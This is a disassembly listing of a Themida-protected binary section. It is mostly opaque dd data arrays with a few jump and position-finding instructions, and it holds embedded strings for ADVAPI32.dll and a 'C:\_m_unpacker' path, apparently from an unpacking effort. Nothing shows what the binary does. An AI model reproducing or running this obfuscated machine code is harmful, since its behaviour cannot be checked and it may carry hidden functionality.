		dd 1300C7F6h, 0EF24F754h, 50165AEAh, 7F8C98h, 0F37559B2h
		dd 0CE86B67Eh, 81B31D30h, 79F8353Dh, 0A0DDFED5h, 27283Ch
		dd 0A7FDC503h, 9605C68Ah, 0DEA0E604h, 0F88897B0h, 0DBB50FB8h
		dd 9020F593h, 2EAD6718h, 3D4F0B02h, 0AA9AB3B0h,	663548Ch
		dd 50C5B83Ch, 6EAA001Dh, 258C220Dh, 0F805D6ADh,	90B395D0h
		dd 42A03007h, 0E26A8E3Eh, 0E03579EFh, 122EB4C3h, 3124F926h
		dd 0D44115DCh, 30E17C8Bh, 9F487784h, 622A0204h,	2133DEAFh
		dd 60CEEE59h, 0D504EA5Fh, 0CFC2CDDBh, 9A148Ch, 0D89187D2h
		dd 75D58506h, 472DC501h, 3F66C762h, 133AE3F8h, 7587415h
		dd 4611CA80h, 4607E9C6h, 0E4BC48B0h, 501EA120h,	0A810B095h
		dd 17A1514h, 68DA1956h,	50BE9D30h, 8ACB2560h, 0C0355000h
		dd 7B59584h, 7C6CE0D4h,	36DE220Ah, 0D75C9A00h, 8B273041h
		dd 0F64E0061h, 44AD8CD0h, 0B109EE55h, 320B4C5h,	0BEE854E0h
		dd 421F0039h, 9AFD898Ah, 6700D126h, 249BFF9Eh, 18146C17h
		dd 0A92DE673h, 2A003B33h, 5C34CC48h, 0CD11AA7h,	7C8ADF7Fh
		dd 0BD006358h, 0EE75F608h, 1648C2Fh, 2DC4F5A5h,	607C10C6h
		dd 0B0111E1Ch, 0DF194590h, 0E8B58931h, 0C83B3024h, 885A0061h
		dd 0CD8D3D4Dh, 6B0F1E31h, 51B30BB1h, 3EBCD683h,	2041413Dh
		dd 131F0ACh, 1E66ED0Eh,	0E090742Ch, 0BE03851Dh,	30F3A413h
		dd 346BC046h, 0F468A08Bh, 0E049C03Fh, 1B5083AEh, 28164A09h
		dd 63708018h, 1986569h,	437DC6FDh, 63C23ECDh, 330500E4h
		dd 0BCC8EE6Bh, 0B98F04EDh, 0C0A13719h, 6D820383h, 0B0123818h
		dd 7C8E06A1h, 7CB33E2Dh, 2BF28B80h, 3B1DF0EFh, 2C84573Eh
		dd 7F60A891h, 2E38BCFEh, 0CE6BE11h, 9B49B21Dh, 973CAE00h
		dd 0AB19FD6Ah, 3B5D0731h, 0B5928144h, 16140012h, 232F4BE0h
		dd 1DF7F101h, 6DD1F4Ch,	0C03CF4D0h, 4B599269h, 8A3FC0B0h
		dd 798A5CD4h, 0E7F38100h, 87B2567Ch, 7664190Eh,	207808FEh
		dd 8F882808h, 9935009Ah, 17F4368Ah, 56003A37h, 64B80359h
		dd 54DEDA4Dh, 38F0DBh, 2696725Ch, 0B6765D0Ah, 3E45A907h
		dd 1CA0A031h, 70EF8E7h,	0BC561FBDh, 0B40BD006h,	0D441255h
		dd 96CD00B9h, 0F24B7E15h, 6D007A53h, 4D5BDB99h,	4BCCFC3h
		dd 0E924AB8Ah, 4C74015h, 4862FD2Bh, 6C1D5014h, 11300CCEh
		dd 0D77C6121h, 7610F6Fh, 1370F92Eh, 359F2C5Ah, 80192FE9h
		dd 0C4D5AB5Bh, 0A23CA90Fh, 70007E96h, 0C132B784h, 1266786Dh
		dd 20DD8A7Eh, 0CD9FDC68h, 1D2DE400h, 37FDB55Ah,	1D62E79h
		dd 4E40092Ch, 1E2EB490h, 16B23Fh, 0C312C7C4h, 0FF8448h
		dd 674C5A0Eh, 0F6A611F3h, 4093ED07h, 0C24EF97Fh, 4192EF32h
		dd 604044E8h, 0A4B669Ch, 1DD9B7E8h, 0E63E409Ch,	0F09DF438h
		dd 0B51A1657h, 884314A5h, 0B403AE00h, 57F7FEDDh, 28008C98h
		dd 0AFC8E667h, 500766B0h, 0B05988AAh, 22C4426Ch, 6F7D9Ah
		dd 1544857Fh, 0DA941637h, 174DDF01h, 9A6A6C1Dh,	16B06DD4h
		dd 7E3E67h, 99A67834h, 0B1444840h, 127905F6h, 80B05E5Bh
		dd 0F1EFFC1Ch, 0EC36AF07h, 0ABB226ADh, 308C4443h, 1339BD4Ch
		dd 0B744E6Ah, 90DDBC00h, 39C5EC51h, 588A5819h, 56E22EC0h
		dd 6402679Dh, 0CB5AF93h, 0EF2C0A1h, 0E8A8A184h,	0F03816F3h
		dd 62D8200Bh, 6F000443h, 17455CDBh, 4D99A7h, 4E8F0923h
		dd 0F39FBBCh, 95D26E00h, 16177B0Eh, 980B3011h, 0B36F5A41h
		dd 801CDE0h, 22D21B0Fh,	5C320B0Eh, 2DF96103h, 36D07F1Ah
		dd 0F0B9DD91h, 77C36000h, 4A6D8E7h, 0B3F3D217h,	0CC98C8BCh
		dd 30C8448h, 0BBF65F6h,	5E190042h, 147F2610h, 8F7F4AB2h
		dd 915FDE09h, 93E800BCh, 913337DBh, 309E1614h, 5CE0F97Ch
		dd 0E8CD1200h, 517AFC47h, 2767002Dh, 4A077EB0h,	407791EEh
		dd 4BCBA52h, 0ED8908BCh, 0AC029485h, 40AAF47Ch,	0F950118h
		dd 0AC943D47h, 87C6C580h, 0DF4CF08Ah, 75EA8004h, 0E41E3BD4h
		dd 0CDE50748h, 8F0E2ED5h, 456F188Fh, 26BC43FCh,	0B10029E9h
		dd 7B6EC5E4h, 96B42DAh,	0AC20823Eh, 62E39C00h, 80B9F456h
		dd 0B3B53400h, 0F2235Eh, 0B2E0719Dh, 8F467F70h,	0AAB04260h
		dd 0B8F6E3h, 0AF9CEEB3h, 658DE560h, 0E10B1230h,	0FE921595h
		dd 48FF016Dh, 9A711466h, 0BCE430EFh, 14980EE0h,	256460E7h
		dd 0F808DE89h, 8F656800h, 37F04E22h, 88A039Ah, 2BE9FB41h
		dd 0FEAD100h, 0D08D399Fh, 8A622496h, 94F8004Ch,	528370Ah
		dd 7C3CC700h, 1338EBB3h, 97881464h, 0D80020A4h,	722AE140h
		dd 0D958156Fh, 0E4022EACh, 22C4EC00h, 0C032BE2Eh, 544AA91h
		dd 9CFCB069h, 41C6574h,	6F45F5BCh, 0ACC72B36h, 9524924h
		dd 50820E64h, 1829B0BDh, 2ECDB5A8h, 310EE6BFh, 30D104A8h
		dd 7988100Ch, 0EE3604C2h, 88494092h, 0DE0B3F18h, 85547853h
		dd 8430388Ch, 16090D8h,	0A80B0781h, 20803B99h, 0CD0184D0h
		dd 0B7930A11h, 789E5306h, 26D868AAh, 174F7B3h, 0C1ACC264h
		dd 9C0208Ah, 44E6D228h,	3FBE1302h, 5ADF2EECh, 6F600BCh
		dd 7C24530Ch, 693C604Bh, 0A4FF00F7h, 52DC84FEh,	620E2E73h
		dd 67040398h, 0C10E8F13h, 0A0EA6A9Ch, 9DACE518h, 0D8B95008h
		dd 0DE8901FCh, 2E5A1184h, 0D2D44039h, 2F44E6D1h, 0B358267Eh
		dd 26230E25h, 0A87D38E3h, 30182E18h, 9C323799h,	0ABED41B0h
		dd 542CE0h, 63AF8DE9h, 2965D59Bh, 5C43834h, 2435C62Eh
		dd 50A2F0h, 0EBDE72B8h,	5C8451h, 8124FB0Ch, 0AD671C6Ch
		dd 0D42CC71Ah, 0B3F004B0h, 92FE898h, 395A12E8h,	3B070064h
		dd 7F9EB893h, 8037E8AFh, 0A9CD5640h, 690025A5h,	8422E53Fh
		dd 4C85C1C0h, 0A030A882h, 0CBA605C0h, 0A6484127h, 7418114Ch
		dd 66B20A7Dh, 49944434h, 9F56880h, 64036EACh, 0CB40D683h
		dd 38300E0Eh, 94349FE6h, 0B37B2222h, 20800803h,	0B03139BCh
		dd 0C1BE1DA8h, 9F4CC269h, 106AE4F3h, 0A6D5F000h, 0A27288ACh
		dd 356706Bh, 388053BCh,	34E8B87Ch, 0AF03A142h, 4B411E44h
		dd 0EB495809h, 4A8DFE00h, 0B3855F2Fh, 0F08EAB26h, 3812D98Ah
		dd 99EE8100h, 0BF8CBBh,	7CF4A80h, 0A8377F39h, 0DE407B00h
		dd 0E626CE9Dh, 0D4C1C0DAh, 92969E19h, 0F1837D01h, 44334160h
		dd 0B14A42ECh, 2EE60CDCh, 2F005B31h, 0D5C70118h, 136F67Fh
		dd 2003DC9Bh, 0F3E6D4B8h, 6064293Ch, 0D76CF04Ch, 4EDA0087h
		dd 7D7A71E2h, 9A25A34Ah, 0A8886062h, 0B4F9489Bh, 0D2FEB507h
		dd 615A1016h, 3CA8AA29h, 8901B4D6h, 3BA07211h, 5F85E4Ch
		dd 24357184h, 96581EFh,	88801183h, 0D11C311Ah, 0E739AC0Bh
		dd 511CA7D9h, 90624480h, 60354834h, 1FE5BC80h, 0B20B56ADh
		dd 0E213BACh, 0F4873050h, 7300483Dh, 0F1AD5C07h, 0FFDB0105h
		dd 752E1716h, 2022C9B7h, 0E3A3A10h, 0AA1C1F66h,	0FC24BD56h
		dd 0ADA210C7h, 0D851C9h, 0F98B0A6Fh, 0FAC0BF4Ah, 8AB3547Dh
		dd 613B0962h, 0EC007748h, 0AD6BA8A7h, 0C4723426h, 0B4307E16h
		dd 1FCB4AABh, 801E48E4h
		dd 718403F6h, 803B942Ch, 0AB650357h, 0A816BCF9h, 4B69438Ah
		dd 51A020AAh, 3EED589h,	869A3B03h, 81920B82h, 0C4340AE4h
		dd 50608A44h, 4F6072DFh, 5A45F4C8h, 22B4A0A5h, 5FAD16B0h
		dd 263C70CBh, 11E89862h, 59028D7Eh, 0ABC348DDh,	4FC487BBh
		dd 6844B9h, 9C88A1D3h, 59E9FFBh, 7F345B02h, 5A075A9Bh
		dd 9818987Ch, 601A542Ch, 1FA71E5h, 414F445Dh, 0EC892762h
		dd 5B0C4A5Ah, 29D2E99Ah, 0CDFA001Fh, 0DCF549FFh, 573DA98Ch
		dd 5D180EB2h, 0BB76E00Fh, 1675568Bh, 115B40EEh,	4B9FDC58h
		dd 44DB8Fh, 4BED4300h, 8CEF2F66h, 38D800D7h, 8939C07Eh
		dd 930E7AABh, 80F96740h, 21254EEEh, 20AA4C8Fh, 2639F31Eh
		dd 22EB8248h, 79101366h, 0D671D1h, 7B3CE7EDh, 48409EE5h
		dd 7E21B762h, 2C546099h, 48408B10h, 0EF0F28C0h,	0E73CDFF1h
		dd 10AA0F37h, 0A4C0BC16h, 0B4015A58h, 94BE4300h, 0FCA836D0h
		dd 952F1700h, 0C30DB61Ch, 99E6480Fh, 7EB38302h,	34619C4Dh
		dd 0E4DF1255h, 0F53600D4h, 85FD07B6h, 26053560h, 0CCCE976Bh
		dd 0FFFF012Fh, 0B6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_57C2CA:				; CODE XREF: Themida_:loc_513265j
					; DATA XREF: Themida_:loc_513086o
		jmp	loc_57F81B
; ---------------------------------------------------------------------------
		align 10h
		dd 0
		dd 28000000h, 0B18Bh, 2	dup(0)
		dd 0CF000000h, 480129C7h, 0FFB518h, 0Dh	dup(0)
		dd 9C3FF800h, 6	dup(0)
		dd 86000000h, 0A30E1DE5h, 1980h, 7 dup(0)
		dd 38000000h, 0EBh, 6 dup(0)
		dd 0CF000000h, 129C7h, 94000000h, 7C90EBh, 6 dup(0)
		dd 80000000h, 12FEh, 5B000000h,	76F36Ch, 0Fh dup(0)
		dd 0E4000000h, 4700B18Eh, 7D4830h, 0
		dd 1E000000h, 0DAh, 2 dup(0)
		dd 0FC000000h, 0AAF9h, 82000000h, 86B870h, 0D80004D0h
		dd 0B136h, 3 dup(0)
		dd 28004882h, 1D330h, 0Bh dup(0)
		dd 0B0000000h, 1D3FFh, 5 dup(0)
		dd 34000000h, 0CC005E90h, 276CB22h, 400h, 2 dup(0)
		dd 1000000h, 4 dup(0)
		dd 0F3000000h, 0FFh, 0B2h dup(0)
		dd 208002h, 0DA000000h,	17C8111h, 90000000h, 76F217h, 7E000000h
		dd 7EDBBFh, 5 dup(0)
		dd 0A0000000h, 5AC5h, 81000000h, 277C9177h, 2 dup(0)
		dd 38000000h, 0E80235h,	4 dup(0)
		dd 80000000h, 2, 4 dup(0)
		dd 24000000h, 0FFA50Ch,	2 dup(0)
		dd 0F000000h, 0B118h, 3	dup(0)
		dd 0A400C100h, 3F03EAh,	2 dup(0)
		dd 0E8000000h, 0FFFF9Ah, 0
		dd 81000000h, 0E1CA0CA0h, 0FFA4FDh, 2 dup(0)
		dd 89000000h, 7A751818h, 9, 4 dup(0)
		dd 0F7000000h, 0B41Ch, 24000000h, 46DB56h, 0ED000000h
		dd 83CA80h, 4 dup(0)
		dd 58000000h, 7C863Fh, 7 dup(0)
		dd 0D3000000h, 7485EDh,	0A14F8882h, 5B80h, 1000000h, 3 dup(0)
		dd 3B000000h, 1FBD26h, 3 dup(0)
		dd 23000000h, 5B00h, 83000000h,	0F76EF0A4h, 7E0D5Dh, 2000000h
		dd 4 dup(0)
		dd 0E8000000h, 1C000000h, 0FFFF9Fh, 19h	dup(0)
		dd 65000000h, 0FAA4D4h,	11000000h, 111111h, 0
		dd 0D8000000h, 6DE28h, 2 dup(0)
		dd 94000000h, 7C90EBh, 2 dup(0)
		dd 54000000h, 12FFh, 0A0000000h, 0
		dd 40000000h, 7C8026h, 3D000000h, 5802h, 1Ch dup(0)
		dd 65000000h, 73FAA4D4h, 57E1h,	0Ch dup(0)
		dd 0DF000000h, 0A9C530h, 5077DD00h, 0FDDC00h, 7	dup(0)
		dd 43000000h, 0E90057CFh, 0D6h,	29h dup(0)
		dd 33000000h, 6017h, 0E0000000h, 5C65h,	2 dup(0)
		dd 0C4000000h, 0C20012FFh, 0FFA478h, 2B000000h,	5ED8h
		dd 91000000h, 6D4AD1h, 12h dup(0)
		dd 0A000000h, 5C005E8Fh, 0B73Fh, 94000000h, 0E97C90EBh
		dd 0D6h, 3 dup(0)
		dd 2A0h, 0
		dd 3E000000h, 5B87h, 18000000h,	0B129h,	48000000h, 0FAD284h
		dd 2 dup(0)
		dd 32000000h, 0B48Bh, 11h dup(0)
		dd 0FC000000h, 4493h, 4	dup(0)
		dd 0DF000000h, 5AFE07h,	2 dup(0)
		dd 0E2000000h, 4D971F8h, 0FF000000h, 0FFFFFFh, 8 dup(0)
		dd 2B000000h, 5ED8h, 6 dup(0)
		dd 0ED000000h, 1005FE0h, 2 dup(0)
		dd 0F9000000h, 3C7C90DDh, 0FFFF8Bh, 2 dup(0)
		dd 1000000h, 0Dh dup(0)
		dd 94000000h, 5F00h, 2 dup(0)
		dd 0C0000000h, 838213h,	2 dup(0)
		dd 94000000h, 7C90EBh, 5 dup(0)
		dd 9D000000h, 0FFA2B7h,	7 dup(0)
		dd 7B000000h, 0DD733Eh,	5A000000h, 5F4Dh, 0
		dd 0DA000000h, 0B8000024h, 7 dup(0)
		dd 0D1000000h, 7, 0FC000000h, 0A62938E7h, 0D8005C32h, 5FE1h
		dd 7 dup(0)
		dd 0FF000000h, 5B98h, 0
		dd 4010h, 4000000h, 0
		dd 0BB000000h, 5F23h, 3	dup(0)
		dd 0D0000000h, 0E100B19Fh, 49005E3Fh, 8CC9EBh, 2 dup(0)
		dd 0F5000000h, 6Dh, 3 dup(0)
		dd 94000000h, 8900003Dh, 4005D4Bh, 5BD5h, 4000h, 8 dup(0)
		dd 70000000h, 0B4F8BBh,	0
		dd 34000000h, 5B66h, 80000000h,	0ADFFE9h, 6 dup(0)
		dd 26F00h, 0B8000000h, 0B7D9D5h, 0
		dd 3000000h, 0B1FAh, 0
		dd 0DF000000h, 30h, 5 dup(0)
		dd 0DB000000h, 25005FFEh, 0B10Ah, 8 dup(0)
		dd 0B8000000h, 0
; ---------------------------------------------------------------------------
		or	eax, eax
		jz	short loc_57CF4F
		retn	18h
; ---------------------------------------------------------------------------


loc_57CF4F:				; CODE XREF: Themida_:0057CF4Aj
		mov	eax, [esp+0Ch]
		push	ebx
		call	$+5
		pop	ebx
		add	ebx, 17h
		mov	[esp+10h], ebx
		mov	[esp+14h], eax
		pop	ebx
		mov	eax, 0B1FA37h
		jmp	eax
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		dd 13h dup(0)
		dd 8B000000h, 0FF0908h,	28000000h, 41005C54h, 5AF9h, 4 dup(0)
		dd 43000000h, 5C03h, 0
		dd 50027000h, 5F20h, 9E000000h,	0FFA493h, 6 dup(0)
		dd 74000000h, 0E800016Bh, 0D100000Fh, 0D69194h,	8 dup(0)
		dd 93000000h, 5CC5h, 4 dup(0)
		dd 0FF000000h, 0FFFFFFh, 0
		dd 42000000h, 1600B118h, 5B52h,	4 dup(0)
		align 10h
		dd 5B5Ch, 0
		dd 23000000h, 5B00h, 94000000h,	7C90EBh, 7 dup(0)
		dd 73000000h, 57E1h, 0CF000000h, 129C7h, 3 dup(0)
		dd 0A4000000h, 12FFh, 4	dup(0)
		dd 3000000h, 47013750h,	5C95h, 3 dup(0)
		dd 0B100h, 5 dup(0)
		dd 0E000000h, 0A17C8018h, 5B80h, 0FE000000h, 0DB005D9Eh
		dd 37439F3h, 5BE9h, 0
		dd 0A4000000h, 0AC0012FFh, 6021h, 7 dup(0)
		dd 29000000h, 0F571D3Dh, 0B118h, 0BF000000h, 1B3FFh, 26E00h
		dd 0
		dd 73000000h, 0FFA1F9h,	2 dup(0)
		dd 0B4000000h, 3 dup(0)
		dd 0EA000000h, 69005AFBh, 7457E9h, 4 dup(0)
		dd 0FF000000h, 6879FDh,	9000000h, 0FFA0C2h, 3 dup(0)
		dd 1000000h, 0DF000000h, 0A9C530h, 0
		dd 89000000h, 5EDDh, 8 dup(0)
		dd 0FC000000h, 40057EFh, 245Fh,	5 dup(0)
		dd 5F000000h, 0D3h, 5 dup(0)
		dd 0A3000000h, 0CDA680h, 0Ch dup(0)
		dd 98000000h, 0FFFFA3h,	0
		dd 24000000h, 6Ah, 0F6000000h, 5BDDEAh,	3 dup(0)
		dd 1F000000h, 0CB02h, 80000000h, 7C803Bh, 10h dup(0)
		dd 77000000h, 0E97C810Ah, 2C0000EDh, 25400h, 0
		dd 1B000000h, 5B64h, 3 dup(0)
		dd 3C000000h, 0B11Ah, 3F000000h, 5E95h,	8 dup(0)
		dd 0CF000000h, 129C7h, 0
		dd 0DD000000h, 0E77CDBEBh, 2 dup(0)
		dd 1B000000h, 57CCh, 4 dup(0)
		dd 8C000000h, 0
		dd 0FE7E4100h, 39EF7Dh,	0Dh dup(0)
		dd 1B000000h, 3DF1F9h, 0
		dd 27000000h, 5AF9h, 3 dup(0)
		dd 4D000000h, 0FFFEA3h,	0B0000000h, 8C000000h, 0FFFF95h
		dd 3 dup(0)
		dd 4000000h, 4 dup(0)
		dd 0BE000000h, 0FF4EE7h, 0
		dd 7C8000h, 6D000000h, 8700600Ah, 0A8D2h, 0
		dd 0AD000000h, 7E41A8h,	0
		dd 83000000h, 77DD78h, 3 dup(0)
		dd 36000000h, 0FF363636h, 0FFFFFFh, 3 dup(0)
		dd 0CE000000h, 200000E9h, 0B18Dh, 4 dup(0)
		dd 6C000000h, 14h, 2 dup(0)
		dd 0F000000h, 7700B118h, 7C801Dh, 5 dup(0)
		dd 47000000h, 107C809Bh, 0C1000027h, 7C80ABh, 2	dup(0)
		dd 4000h, 5 dup(0)
		dd 36000000h, 0FF9FDDh,	6 dup(0)
		dd 0D5000000h, 0A848B125h, 23000000h, 5B00h, 0ED000000h
		dd 7276E0h, 5 dup(0)
		dd 36000000h, 0AD005F02h, 0B3FCh, 0E8000000h, 0FE8ECCh
		dd 0
		dd 24000000h, 0BA7C801Ah, 1113000h, 5 dup(0)
		dd 0E7000000h, 5 dup(0)
		dd 0DD000000h, 0D6D4Ch,	8 dup(0)
		dd 1B000000h, 6577DFC4h, 0FAA4D4h, 3 dup(0)
		dd 0A0000000h, 7C80ADh,	4 dup(0)
		dd 0B6000000h, 89005A6Dh, 0FFFFFFh, 46000000h, 5B66h, 4	dup(0)
		dd 0DF000000h, 0A9C530h, 0DA000000h, 100A7Eh, 72000000h
		dd 5C94h, 2 dup(0)
		dd 0B5000000h, 5BE7h, 0
		dd 82h,	2 dup(0)
		dd 7000000h, 600EDCh, 0
		dd 0CF000000h, 7C80B4h,	0
		dd 0BC000000h, 225214h,	0Ah dup(0)
		dd 90000000h, 39000000h, 7F4F88CDh, 3AD9DFh, 0
		dd 0F0000000h, 12FFh, 2	dup(0)
		dd 18000000h, 7C90EEh, 94000000h, 997BEBh, 2 dup(0)
		dd 6C000000h, 836F14h, 37000000h, 2C9100h, 11h dup(0)
		dd 31000000h, 3A3ED7h, 0E0000000h, 5D0Eh, 38000000h, 0C662BF1Ch
		dd 0F314CAh, 3 dup(0)
		dd 0B0000000h, 5EB9h, 0E7000000h, 0Ah dup(0)
		dd 10000000h, 5C953h, 3	dup(0)
		dd 8D7C9000h, 1F3137h, 2 dup(0)
		dd 3C000000h, 0FFFF8Bh,	3 dup(0)
		dd 34000000h, 5B66h, 12h dup(0)
		dd 6A000000h, 8BB81h, 7	dup(0)
		dd 18000000h, 417C90EEh, 5E36h,	16h dup(0)
		dd 28000000h, 7801D330h, 0B428h, 0C2000000h, 5D4Bh, 0
		dd 34000000h, 5B66h, 2 dup(0)
		dd 6C000000h, 836F14h, 7 dup(0)
		dd 94000000h, 3Dh, 94026D00h, 3Dh, 6C000000h, 24003FC2h
		dd 9CB3A3h, 2 dup(0)
		dd 0E4000000h, 9 dup(0)
		dd 78000000h, 43D57Bh, 0Ah dup(0)
		dd 25400h, 0
		dd 0B100h, 5F000000h, 17FC93h, 3 dup(0)
		dd 0D7000000h, 0FFA2CFh, 2 dup(0)
		dd 0B0000000h, 183FFh, 0
		dd 0B0000000h, 153FFh, 19000000h, 0
		dd 4000000h, 0Ah dup(0)
		dd 0E7000000h, 0F6BB8Fh, 0
		dd 1000000h, 24000000h,	242424h, 0
		dd 46001100h, 5B83h, 2 dup(0)
		dd 7B000000h, 1DD733Eh,	36000000h, 5F02h, 0Bh dup(0)
		dd 3E000000h, 5B87h, 3000000h, 0B1FAh, 94000000h, 7C90EBh
		dd 43000000h, 49575C3Ah, 574F444Eh, 79735C53h, 6D657473h
		dd 415C3233h, 50415644h, 2E323349h, 6C6C64h, 3Ch dup(0)
		dd 0CF000000h, 129C7h, 4 dup(0)
		dd 44000000h, 321514h, 44000000h, 0B11Ah, 3 dup(0)
		dd 0F1000000h, 0F3A16Bh, 7C000000h, 44000059h, 0CE8A4D3Dh
		dd 5BE9h, 0
		dd 18000000h, 0B7C90EEh, 0FC0576E4h, 3 dup(0)
		dd 83000000h, 5EB7h, 2 dup(0)
		dd 0CF000000h, 129C7h, 0
		dd 0CF000000h, 0B1A8h, 2 dup(0)
		dd 23000000h, 0D3005B00h, 5EF3h, 5 dup(0)
		align 10h
		dd 4B76F212h, 3	dup(0)
		dd 0E9000000h, 13h, 5 dup(0)
		dd 0CE000000h, 0C535FBD1h, 5F27h, 4 dup(0)
		dd 90000000h, 0B2005C42h, 5CEB0Ch, 0Eh dup(0)
		dd 94000000h, 7C90EBh, 0
		dd 0A4000000h, 12FFh, 3	dup(0)
		dd 37000000h, 77DDEEh, 0E8000000h, 14h,	8 dup(0)
		dd 8D000000h, 2005A75h,	0F4000000h, 5BF1h, 3 dup(0)
		dd 0BC000000h, 40187Eh,	3 dup(0)
		dd 0CF000000h, 129C7h, 4 dup(0)
		dd 40000000h, 0B11Ah, 4	dup(0)
		dd 94000000h, 44000000h, 0C246DAh, 2 dup(0)
		dd 3000000h, 0FFA1DAh, 2 dup(0)
		dd 28000000h, 0E7001448h, 81FD10E1h, 7C9177h, 3000000h
		dd 0B1FAh, 2 dup(0)
		dd 54000000h, 12FFh, 0FF000000h, 0FFFFFFh, 3 dup(0)
		dd 0F7000000h, 31707F9Fh, 0FED638h, 0
		dd 28000000h, 5B67h, 2 dup(0)
		dd 0F2000000h, 7C814Ah,	0Ah dup(0)
		dd 8A000000h, 32DBE4h, 0
		dd 18000000h, 0EC0000EEh, 0B137h, 2 dup(0)
		dd 0AC000000h, 94000000h, 347C90EBh, 5B66h, 8 dup(0)
		dd 5A000000h, 0E7BB1469h, 24000000h, 6400B10Eh,	7C802Ch
		dd 3 dup(0)
		dd 3E000000h, 0B100h, 0CB000000h, 6022h, 2 dup(0)
		dd 3E000000h, 0FFF908h,	3 dup(0)
		dd 9000000h, 8F8060h, 9	dup(0)
		dd 0BF000000h, 0FFA506h, 29h dup(0)
		dd 2E000000h, 0DA10F6FDh, 7C81CDh, 0
		dd 0CD000000h, 5F2D38h,	0F000000h, 0B73Fh, 0FD000000h
		dd 96E3Ch, 5E000000h, 0FA4429h,	3 dup(0)
		dd 0CD000000h, 0DE4C669Bh, 7C80ABh, 9 dup(0)
		dd 0E5000000h, 0B731h, 0E000000h, 7C8018h, 200h, 0
		dd 8000000h, 0DD1B5Dh, 0E7000000h, 77DDEBh, 0
		dd 0E0000000h, 12FFh, 9	dup(0)
		dd 9E000000h, 91E5B6h, 0
		dd 17000000h, 0B194h, 6	dup(0)
		dd 51000000h, 2900B18Eh, 10449BFh, 0
		dd 6C000000h, 6011h, 9 dup(0)
		dd 0F000000h, 0B118h, 30000000h, 0F9F9F2h, 5 dup(0)
		dd 94000000h, 7C9068h, 0
		dd 8D000000h, 0FFA81Eh,	7 dup(0)
		dd 5E000000h, 0FA4429h,	5 dup(0)
		dd 0B9000000h, 15CBC1h,	0E4000000h, 23h, 3 dup(0)
		dd 0B5000000h, 77D713h,	94000000h, 7C90EBh, 5 dup(0)
		dd 8000000h, 0BD00B1B5h, 1C7AFAC2h, 7D000008h, 8Dh, 5C000000h
		dd 7, 0BA000000h, 0EEDA22h, 0
		dd 22000000h, 0C639Eh, 2 dup(0)
		dd 94000000h, 8F7C90EBh, 0A1836F04h, 0C000B1AAh, 5EB6h
		dd 3 dup(0)
		dd 8D00B100h, 0FFA81Eh,	0
		dd 26E00h, 75000000h, 5EF5h, 0
		dd 23000000h, 5C64h, 1,	7 dup(0)
		dd 0E9000000h, 5F03h, 6	dup(0)
		dd 5C000000h, 0FF9F78h,	3 dup(0)
		dd 54000000h, 12FFh, 6 dup(0)
		dd 15000000h, 0FFFFCBh,	0
		dd 0F4000000h, 7FAh, 0Eh dup(0)
		dd 2000000h, 562B30h, 0
		dd 72000000h, 5C94h, 0
		dd 0BA00A700h, 0EC113000h, 62FEB3h, 0E9000000h,	7781EDh
		dd 0Dh dup(0)
		dd 0AD000000h, 0BA7E41A8h, 113000h, 0
		dd 0D4000000h, 9A025D6Dh, 1F005AFBh, 57DEh, 24224C00h
		dd 0FFA50Ch, 5 dup(0)
		dd 0FB000000h, 0BF0057EFh, 573EDDh, 3 dup(0)
		dd 0CB000000h, 7865571Fh, 0B691h, 4 dup(0)
		dd 0EB000000h, 93000060h, 0B224h, 80000000h, 22A6EBh, 0
		dd 0C4000000h, 4 dup(0)
		dd 94000000h, 0AC7C90EBh, 0FFED00h, 5 dup(0)
		dd 6C000000h, 836F14h, 3 dup(0)
		dd 0BC000000h, 3 dup(0)
		dd 5B000000h, 0A176B44Eh, 7C80BEh, 0C8000000h, 9C9A05h
		dd 0
		dd 0F0005110h, 72h, 5 dup(0)
		dd 69004882h, 0B71Eh, 97000000h, 0CCh, 3 dup(0)
		dd 0BA000000h, 5E113000h, 0FA4429h, 40000000h, 0B11Ah
		dd 7 dup(0)
		dd 57000000h, 5D50h, 3 dup(0)
		dd 0E5000000h, 77DDEDh,	3 dup(0)
		dd 68000000h, 836F8Eh, 3 dup(0)
		dd 0FD000000h, 0FFA416h, 2 dup(0)
		dd 97000000h, 57CCh, 0BF000000h, 573EDFh, 0A4000000h, 6087h
		dd 0
		dd 2C000000h, 5D4Bh, 0
		dd 1000000h, 5000000h, 0A2801h,	3 dup(0)
		dd 94000000h, 7C90EBh, 0Fh dup(0)
		dd 0D4000000h, 13F3E8A3h, 0E700B702h, 47A7DFh, 0Bh dup(0)
		dd 0F6000000h, 5BDDEAh,	2 dup(0)
		dd 94000000h, 0F67C90EBh, 7C801Bh, 2 dup(0)
		dd 1000000h, 0A0000000h, 6007h,	0
		dd 34000000h, 0C2005B66h, 5AFBh, 0Ah dup(0)
		dd 94000000h, 0C87C90EBh, 5 dup(0)
		dd 16000000h, 5EA12Eh, 0
		dd 69000000h, 0CC672681h, 0
		dd 74000000h, 865559h, 2 dup(0)
		dd 60000000h, 0FFA30Dh,	3 dup(0)
		dd 97000000h, 230000CCh, 0A1005B00h, 4400B1AEh,	3C246DAh
		dd 0B1FAh, 0
		dd 3000000h, 5BE9h, 0
		dd 0F1000000h, 0FF4EE7h, 8 dup(0)
		dd 29500h, 0E8000000h, 200246h,	2 dup(0)
		dd 0C8000000h, 12FEh, 3	dup(0)
		dd 1, 2	dup(0)
		dd 0FF000000h, 0A9C529h, 2 dup(0)
		dd 22000000h, 5B87h, 0
		dd 84000000h, 5426D4h, 3 dup(0)
		dd 60000000h, 0FFFFFFh,	0D7000000h, 0A8E2C2h, 0
		dd 94000000h, 0BF7C90EBh, 0ADE223ECh, 8AD750h, 0
		dd 65000000h, 0FAA4D4h,	6 dup(0)
		dd 94000000h, 7C90EBh, 2 dup(0)
		dd 38000000h, 5C99h, 0E9000000h, 10B7h,	3 dup(0)
		dd 78000000h, 0B62h, 4 dup(0)
		dd 0CF000000h, 129C7h, 0Ah dup(0)
		dd 94000000h, 7C90EBh, 9 dup(0)
		dd 40000000h, 0B8C8h, 0F4000000h, 258447h, 2 dup(0)
		dd 20h,	14h dup(0)
		dd 0EB000000h, 464934h,	0Bh dup(0)
		dd 0CE000000h, 6 dup(0)
		dd 0FF000000h, 7FDFFFh,	4 dup(0)
		align 8
		dd 0FFFFA3h, 0
		dd 70000000h, 0B4F8BBh,	3 dup(0)
		dd 21000000h, 1BDB70h, 0
		dd 0D0000000h, 0B10Eh, 2 dup(0)
		dd 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 80h dup(0)
